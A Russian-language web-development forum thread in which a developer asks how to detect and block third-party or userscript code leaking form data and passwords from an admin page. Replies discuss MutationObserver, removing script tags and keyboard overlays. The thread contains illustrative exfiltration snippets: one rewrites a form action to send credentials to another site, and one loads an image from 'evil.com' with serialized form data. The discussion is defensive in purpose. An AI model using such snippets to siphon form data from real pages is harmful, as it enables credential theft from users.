поиск элементов
Как можно найти все элементы на странице, включая те, которые добавлены посредством js после ее загрузки, по их атрибутам.
href action src Какие еще атрибуты есть, которые передают данные или подгружают, что либо на страницу? Короче говоря, петруха такова. Нужно запретить утечку данных со страницы. Страница должна обмениваться данными только со своим сервером. Спасибо. |
Цитата:
|
Поясняю!
function work(){ document.getElementById('MyForm').setAttribute('action', 'http://site.ru/?pass=yryryyryr&login=lol'); document.getElementById('MyForm').submit(); } window.onload = function(){work();} Это js скрипт подгружается допустим в опере в разделе Инструменты/быстрые настройки/настройки для сайта/скрипты/папка пользовательских файлов JavaScript. $(document).ready(function(){ $('form').submit(function(){ alert($(this).attr('action')); return false; }); }); А вот этот скрипт, который расположен непосредственно на странице не срабатывает когда форма отправляется тем криптом. Плюс всегда есть вероятность внедрения кода также непосредственно в страницу. header("X-Content-Security-Policy: 'none'");непомогает! |
Цитата:
Цитата:
|
Ну задачи есть разные.
Юзер может и не знать что у него осторонний скрипт работает. Нужно хотя бы лог вести об отправлении данных, и в случе чего предупредить его! Если есть вероятность утечки данных, то она должна быть прекрыта! Меня больше интересует, как отследить работу сторонних скриптов а не критика! |
А как ты отследишь это:
<script> var image = new Image(); image.src = 'http//evil.com/?' + $('form').serialize(); </script> |
$('form').submit(function(){ alert($(this).serialize()); return false; }); Вообще ничего не показывает :) атрибут name не установлен. Однако это легко исправимо на стороннем скрипте. Надо думать ;) alert($('script').length); Показывает количество скриптов, которые на странице по умолчанию. Тоже не катит. Как можно узнать, что сторонний скрипт подключен? |
Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице? |
Цитата:
Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM. На счет того что, скрипт будет впрыснут вперед твоих скриптов, то на сколько я понимаю, когда через оперу подключается сторонний скрипт, так и происходит. Но изменения DOM все равно происходят. Допустим при добавлении к форме атрибута action. По умолчанию таких атрибутов нет на странице. |
Цитата:
Цитата:
А если у юзера стоит злой юзерскрипт, который хоть и работает с отдельном контексте, но все же имеет доступ к DOM-у, в том числе полям формы? Объясни что и от чего ты хочешь защитить. |
Есть два пароля:
На первый пароль сервер отдает юзеру ответ. Если ответ верный юзер вводит второй пароль. Если ответа нет либо он не верный, юзер закрывает страницу. Нужно чтобы ответ сервера не украли. Скрипт у юзера только для его пользования. Левые люди им не пользуются. Что то типо админки. Если украдут ответ, то потом посредствам подмены страницы, у юзера могут украсть и второй пароль, когда юзер его введет на верный ответ с левой страницы. |
Ну и потом, при работе с админкой, тоже не особо охото, чтобы у кого-то была возможность прочитать данные юзера.
|
Впринципе, ответ от сервера можно писать в img, но все равно хочется посолить крекерам. Хотя если украсть первый пароль и обратится с ним к php обрабатываюшему пароли, ответ всеравно выдачться злоумышленнику.
|
Все это по HTTPS конечно? А че за крекеры? И причем тут юзер? Если крекеры получат доступ к компу юзера, то получить доступ в админку - расплюнуть. И ты юзера от этого не защитишь. А что, правда такой сильный интерес к этой админке?
|
Интерес к админке сильный!
Юзер сам будет выбирать http или https. В зависимости от того как url набран. С http или https. Крекеры, это злые хаккеры :) Админка не работает на куках. Сессия идет только когда загружена страница. Если страница перезагрузилась, то придется заново вводить пароли. |
Короче говоря. Если сторонний скрипт подключен посредствам функционало оперы, то для слива инфы, ему предется ждать, пока юзер заполнит поле формы, а для этого требуется, чтобы документ был загружен.
Исходя из того, что js который стоит по умолчанию встроен в страницу, то и он будет загружен. Значит работу левого скрипта можно засечь, если только левый не удалит из DOM встроенный :) Короче говоря шляпа :) Пофиг, нафиг. Как запретить браузеру обрабатывать отдельные стараницы javascript`om? |
Решено обезопасить передачу данных другим способом. Спасибо за ответы!
|
Всетаки есть некоторые вопросы.
Короче говоря. Подключил в опере для сайта левый js скрипт! Попробывал левым скриптом удалить со страницы встроенные скипты. Ничего не получается. Подключил в левый скрипт jquery и попробывал удалить так: $('script').remove(); Тоже не получается. Блин. Вконце концов в сам скрипт который встроен в страницу вставил $('script').remove();и все равно не удаляет. Что это. У меня где-то ошибка, или он реально не удаляет. Или он удаляет, но скрипты в памяти остаюся? Поскольку все что надо на странице выполняется! |
после:
$('script').remove(); вставил: alert($('html').html()); В алерте теги script отсутствуют! потом в левом скрипте добавил строку: $('script').prepend('/*'); перед этим удалив строку $('script').remove(); все равно все работает. Значит такими методами нельзя нарушить работу js? |
Удаление тега скрипта ничего не дает. Тут я лажанул - видимо нельзя предотвратить выполнение скрипта. Разве что если это - внешний скрипт, то до его загрузки еще можно удалить.
Но ведь и твои скрипты не смогут ничего поделать с "инородным" |
Ну тут уже можно хотябы отследить изменение в атрибутах посредством setInterval(myattr, 0);
Левый скрипт подгруженный через оперу выполняется первее встроенного в страницу. Делаю в левом: alert($('html').html()); А в том который на странице $('script').remove(); alert($('html').html()); Получается что сначала алерт выдается левым скриптом с тегами script, а потом встроенным без тегов script. |
Цитата:
Или ты имеешь ввиду вообще инородную программу какую-то? |
Цитата:
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
characterData - можешь сказать с чем это едят? |
через
setInterval(del, 0);удалить теги script до загрузки документа неполучается. |
Есть еще вопросик.
Дпустим на странице до авторизации юзера есть клавиатура: <div id="keyboard"> <img src="" longdesc=""/> <img src="" longdesc=""/> <img src="" longdesc=""/> </div> До того как юзер авторизовался, могут быть видимыми только эти элементы? Как по Вашему будет грамотно сделать проверку, чтобы поверх было не наложить слой с другой клавой? |
Часовой пояс GMT +3, время: 08:44. |